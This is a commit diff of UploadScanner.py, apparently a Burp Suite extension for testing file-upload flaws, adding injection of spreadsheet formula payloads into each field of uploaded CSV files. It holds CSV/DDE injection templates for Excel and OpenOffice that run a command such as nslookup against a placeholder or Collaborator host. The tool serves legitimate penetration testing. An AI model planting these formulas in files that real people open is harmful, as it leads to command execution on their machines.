Skip to content
This repository was archived by the owner on Apr 4, 2024. It is now read-only.

Commit e60f568

Browse files
author
floyd
committed
Fixed an issue where too many requests would be sent (harmless apart from that) and added new support to inject into CSV field values
1 parent 80eb376 commit e60f568

File tree

1 file changed

+61
-36
lines changed

1 file changed

+61
-36
lines changed

UploadScanner.py

Lines changed: 61 additions & 36 deletions
Original file line numberDiff line numberDiff line change
@@ -2878,14 +2878,19 @@ def _csv_spreadsheet(self, injector, burp_colab):
28782878
colab_tests = []
28792879

28802880
if injector.opts.file_formats['csv'].isSelected():
2881-
title = "Malicious CSV upload/download"
2882-
desc = 'A CSV with the content {} was uploaded and downloaded. When this spreadsheet is opened in {}, ' \
2883-
'and the user confirms several dialogues warning about code execution, the supplied command is executed. See ' \
2884-
'https://www.contextis.com/resources/blog/comma-separated-vulnerabilities/ for more details. '
2885-
for software_name, payload in (("Excel", "=cmd|' /C {} {}'!A0"), ("OpenOffice", '=DDE("cmd";"/C {} {}";"__DdeLink_60_870516294")')):
2881+
title_download = "Malicious CSV upload/download"
2882+
desc_download = 'A CSV with the content {} was uploaded and downloaded. When this spreadsheet is opened in {}, ' \
2883+
'and the user confirms several dialogues warning about code execution, the supplied command is executed. See ' \
2884+
'https://www.contextis.com/resources/blog/comma-separated-vulnerabilities/ for more details. '
2885+
title_colab = "Malicious CSV Collaborator Interaction"
2886+
desc_colab = 'A CSV with the content {} was uploaded and lead to command execution. When this spreadsheet is opened in {}, ' \
2887+
'and the user confirms several dialogues warning about code execution, the supplied command is executed. See ' \
2888+
'https://www.contextis.com/resources/blog/comma-separated-vulnerabilities/ for more details. '
2889+
software_payload = (("Excel", "=cmd|' /C {} {}'!A0"), ("OpenOffice", '=DDE("cmd";"/C {} {}";"__DdeLink_60_870516294")'))
2890+
for software_name, payload in software_payload:
28862891
basename = BurpExtender.DOWNLOAD_ME + self.FILE_START + "Csv" + software_name
28872892
formula = payload.format("nslookup", "unknown.domain.example.org")
2888-
issue = self._create_issue_template(injector.get_brr(), title, desc.format(formula, software_name), "Tentative", "Low")
2893+
issue = self._create_issue_template(injector.get_brr(), title_download, desc_download.format(formula, software_name), "Tentative", "Low")
28892894
# Do simple upload/download based
28902895
self.dl_matchers.add(DownloadMatcher(issue, filecontent=formula))
28912896
self._send_simple(injector, self.CSV_TYPES, basename + "Mal", formula, redownload=True)
@@ -2894,15 +2899,25 @@ def _csv_spreadsheet(self, injector, burp_colab):
28942899
# Also do collaborator based:
28952900
for cmd_name, cmd, server, replace in self._get_rce_interaction_commands(injector, burp_colab):
28962901
formula = payload.format(cmd, server)
2897-
desc += "<br>In this case we actually detected that interactions took place when using a {} command," \
2898-
"meaning the server executed the payload or someone opened it in the {} spreadsheet software. " \
2899-
"Interactions: <br><br>".format(cmd_name, software_name)
2900-
issue = self._create_issue_template(injector.get_brr(), "Malicious CSV Collaborator Interaction", desc, "Firm", "High")
2901-
colab_tests.extend(self._send_collaborator(injector, burp_colab, self.CSV_TYPES, basename + "Colab",
2902-
formula, issue, replace=replace, redownload=True))
2903-
2904-
# TODO feature: Detect if original uploaded file was CSV, how many columns, etc., then start injecting CSV
2905-
# specific payloads such as the formulas above, burp collaborator URLs etc, but *only* if we detect an uploaded CSV
2902+
desc = desc_colab + "<br>In this case we actually detected that interactions took place when using a {} command," \
2903+
"meaning the server executed the payload or someone opened it in the {} spreadsheet software. <br>" \
2904+
"The payload was {} . <br>" \
2905+
"Interactions: <br><br>".format(cmd_name, software_name, formula)
2906+
issue = self._create_issue_template(injector.get_brr(), title_colab, desc, "Firm", "High")
2907+
file_contents = []
2908+
file_contents.append(formula)
2909+
# Detect if original uploaded file was CSV, how many columns, etc., then start injecting CSV
2910+
# specific payloads such as the formulas above, but *only* if we detect an uploaded CSV
2911+
insertion_points = InsertionPointProviderForActiveScan(injector).get_csv_insertion_points(injector)
2912+
for insertion_point in insertion_points:
2913+
# Inject the formula into each field
2914+
_, _, content = insertion_point.create_request(formula)
2915+
file_contents.append(content)
2916+
# Injecting a collaborator URL with http:// and https:// etc. would be possible here
2917+
# but as we already pass this as an insertion point for active scan we don't do this here
2918+
for index, content in enumerate(file_contents):
2919+
colab_tests.extend(self._send_collaborator(injector, burp_colab, self.CSV_TYPES, basename + "Colab" + str(index),
2920+
content, issue, replace=replace, redownload=True))
29062921

29072922
if injector.opts.file_formats['xlsx'].isSelected():
29082923
basename = BurpExtender.DOWNLOAD_ME + self.FILE_START + "Excel"
@@ -4044,7 +4059,7 @@ def _send_get_request(self, brr, relative_url, create_log):
40444059
# TODO: Refactor _send methods into their own class
40454060
def _send_simple(self, injector, all_types, basename, content, redownload=False, randomize=True):
40464061
i = 0
4047-
types = injector.get_types(all_types, injector.get_default_file_ext())
4062+
types = injector.get_types(all_types)
40484063
urrs = []
40494064
for prefix, ext, mime_type in types:
40504065
if randomize:
@@ -4066,7 +4081,8 @@ def _send_simple(self, injector, all_types, basename, content, redownload=False,
40664081
def _send_collaborator(self, injector, burp_colab, all_types, basename, content, issue, redownload=False,
40674082
replace=None, randomize=True):
40684083
colab_tests = []
4069-
types = injector.get_types(all_types, injector.get_default_file_ext())
4084+
types = injector.get_types(all_types)
4085+
print types
40704086
i = 0
40714087
for prefix, ext, mime_type in types:
40724088
break_when_done = False
@@ -4137,7 +4153,7 @@ def _send_collaborator(self, injector, burp_colab, all_types, basename, content,
41374153
return colab_tests
41384154

41394155
def _send_sleep_based(self, injector, basename, content, types, sleep_time, issue, redownload=False, randomize=True):
4140-
types = injector.get_types(types, injector.get_default_file_ext())
4156+
types = injector.get_types(types)
41414157
timeout_detection_time = (float(sleep_time) / 2) + 0.5
41424158
i = 0
41434159
for prefix, ext, mime_type in types:
@@ -4462,12 +4478,16 @@ def get_uploaded_filename(self):
44624478
def get_uploaded_content_type(self):
44634479
return ''
44644480

4465-
def get_types(self, all_types, orig_ext):
4481+
def get_types(self, all_types):
44664482
new_types = set()
44674483
for prefix, ext, mime_type in all_types:
44684484
if BurpExtender.MARKER_ORIG_EXT in ext:
4469-
ext = ext.replace(BurpExtender.MARKER_ORIG_EXT, orig_ext)
4485+
ext = ext.replace(BurpExtender.MARKER_ORIG_EXT, self.get_default_file_ext())
4486+
if not mime_type:
4487+
# The "use original mime type" marker is an empty string
4488+
mime_type = self.get_uploaded_content_type()
44704489
new_types.add((prefix, ext, mime_type))
4490+
# Further reduction if no mime or no filename is sent
44714491
has_filename = self.get_uploaded_filename()
44724492
has_mime = self.get_uploaded_content_type()
44734493
if has_filename and has_mime:
@@ -4824,10 +4844,15 @@ def _join_multipart(self, headers, parts, boundary):
48244844
class InsertionPointProviderForActiveScan(IScannerInsertionPointProvider):
48254845
# This class is not needed in the UploadScanner except to provide InsertionPoints as a
48264846
# IScannerInsertionPointProvider when getInsertionPoints is called from ActiveScan
4827-
def __init__(self, extender, global_opts, helpers):
4828-
self.burp_extender = extender
4829-
self._global_opts = global_opts
4830-
self._helpers = helpers
4847+
def __init__(self, extender=None, opts=None, helpers=None, injector=None):
4848+
if injector:
4849+
self.burp_extender = injector.opts._burp_extender
4850+
self._opts = injector.opts
4851+
self._helpers = injector._helpers
4852+
else:
4853+
self.burp_extender = extender
4854+
self._opts = opts
4855+
self._helpers = helpers
48314856
self.exiftool_techniques = [
48324857
# TODO: Maybe uncomment some more? This takes quiet a while to scan...
48334858
# See BackdooredFiles for details... we don't use the thumbnail technique.
@@ -4850,20 +4875,20 @@ def getInsertionPoints(self, base_request_response):
48504875
CustomMultipartInsertionPoint.FILENAME_MARKER in req:
48514876
print "MultipartInjector insertion point found for getInsertionPoint ActiveScan!"
48524877
insertionPoint = CustomMultipartInsertionPoint(self._helpers, BurpExtender.NEWLINE, req)
4853-
injector = MultipartInjector(base_request_response, self._global_opts, insertionPoint, self._helpers, BurpExtender.NEWLINE)
4854-
elif self._global_opts.fi_ofilename:
4855-
fi = FlexiInjector(base_request_response, self._global_opts, self._helpers, BurpExtender.NEWLINE)
4878+
injector = MultipartInjector(base_request_response, self._opts, insertionPoint, self._helpers, BurpExtender.NEWLINE)
4879+
elif self._opts.fi_ofilename:
4880+
fi = FlexiInjector(base_request_response, self._opts, self._helpers, BurpExtender.NEWLINE)
48564881
# We test only those requests where we find at least the content in the request as some implementations
48574882
# might not send the filename to the server
48584883
if fi.get_uploaded_content():
48594884
print "FlexiInjector insertion point found for getInsertionPoint ActiveScan!"
48604885
injector = fi
48614886
if injector:
48624887
# First the feature that we can detect CSVs
4863-
insertion_points.extend(self._get_csv_insertion_points(injector))
4888+
insertion_points.extend(self.get_csv_insertion_points(injector))
48644889

48654890
# Then handle the zip files
4866-
bf = BackdooredFile(None, tool=self._global_opts.image_exiftool)
4891+
bf = BackdooredFile(None, tool=self._opts.image_exiftool)
48674892
upload_type = ('', ".zip", BackdooredFile.EXTENSION_TO_MIME[".zip"])
48684893
# Achieve bf.get_zip_files(payload_func, techniques=["name"])
48694894
args = []
@@ -4882,7 +4907,7 @@ def getInsertionPoints(self, base_request_response):
48824907
# Now we still have the problem, that for a format, several payloads are generated
48834908
# so we can't really call create_files, but we need to call get_exiftool_images
48844909
# directly and tell it which techniques to use
4885-
size = (self._global_opts.image_width, self._global_opts.image_height)
4910+
size = (self._opts.image_width, self._opts.image_height)
48864911
for name, cmd_line_args, formats in self.exiftool_techniques:
48874912
if format in formats:
48884913
# Achieve bf.get_exiftool_images(payload_func, size, formats, techniques=None)
@@ -4895,7 +4920,7 @@ def getInsertionPoints(self, base_request_response):
48954920
raise sys.exc_info()[1], None, sys.exc_info()[2]
48964921
return insertion_points
48974922

4898-
def _get_csv_insertion_points(self, injector):
4923+
def get_csv_insertion_points(self, injector):
48994924
filename = injector.get_uploaded_filename().lower()
49004925
insertion_points = []
49014926
if ".csv" in filename or ".txt" in filename:
@@ -4933,7 +4958,7 @@ def __init__(self, injector, new_line, delim, line_index, field_index):
49334958
self.lines = injector.get_uploaded_content().split(self.new_line)
49344959
self.fields = self.lines[self.line_index].split(self.delim)
49354960

4936-
def _create_request(self, payload):
4961+
def create_request(self, payload):
49374962
fields = copy.copy(self.fields)
49384963
if fields[self.field_index].startswith('"') and fields[self.field_index].endswith('"'):
49394964
# Let's assume it is a quoted CSV
@@ -4948,10 +4973,10 @@ def _create_request(self, payload):
49484973
lines[self.line_index] = line
49494974
content = self.new_line.join(lines)
49504975
req = self.injector.get_request(self.injector.get_uploaded_filename(), content)
4951-
return req, payload
4976+
return req, payload, content
49524977

49534978
def buildRequest(self, payload):
4954-
req, _ = self._create_request(FloydsHelpers.jb2ps(payload))
4979+
req, _, _ = self.create_request(FloydsHelpers.jb2ps(payload))
49554980
return req
49564981

49574982
def getBaseValue(self):
@@ -4969,7 +4994,7 @@ def getInsertionPointType(self):
49694994

49704995
def getPayloadOffsets(self, payload):
49714996
payload = FloydsHelpers.jb2ps(payload)
4972-
req, payload = self._create_request(payload)
4997+
req, payload, _ = self.create_request(payload)
49734998
if payload in req:
49744999
start = req.index(payload)
49755000
return [start, start + len(payload)]
@@ -5623,7 +5648,7 @@ def _send_collab(self, injector, burp_colab, all_types, basename, content, old_x
56235648
# A modified version of _send_burp_collaborator because we need to fix the length of the xmp
56245649
# after we inject the collaborator URL
56255650
colab_tests = []
5626-
types = injector.get_types(all_types, injector.get_default_file_ext())
5651+
types = injector.get_types(all_types)
56275652
i = 0
56285653
for prefix, ext, mime_type in types:
56295654
for prot in self._protocols:

0 commit comments

Comments
 (0)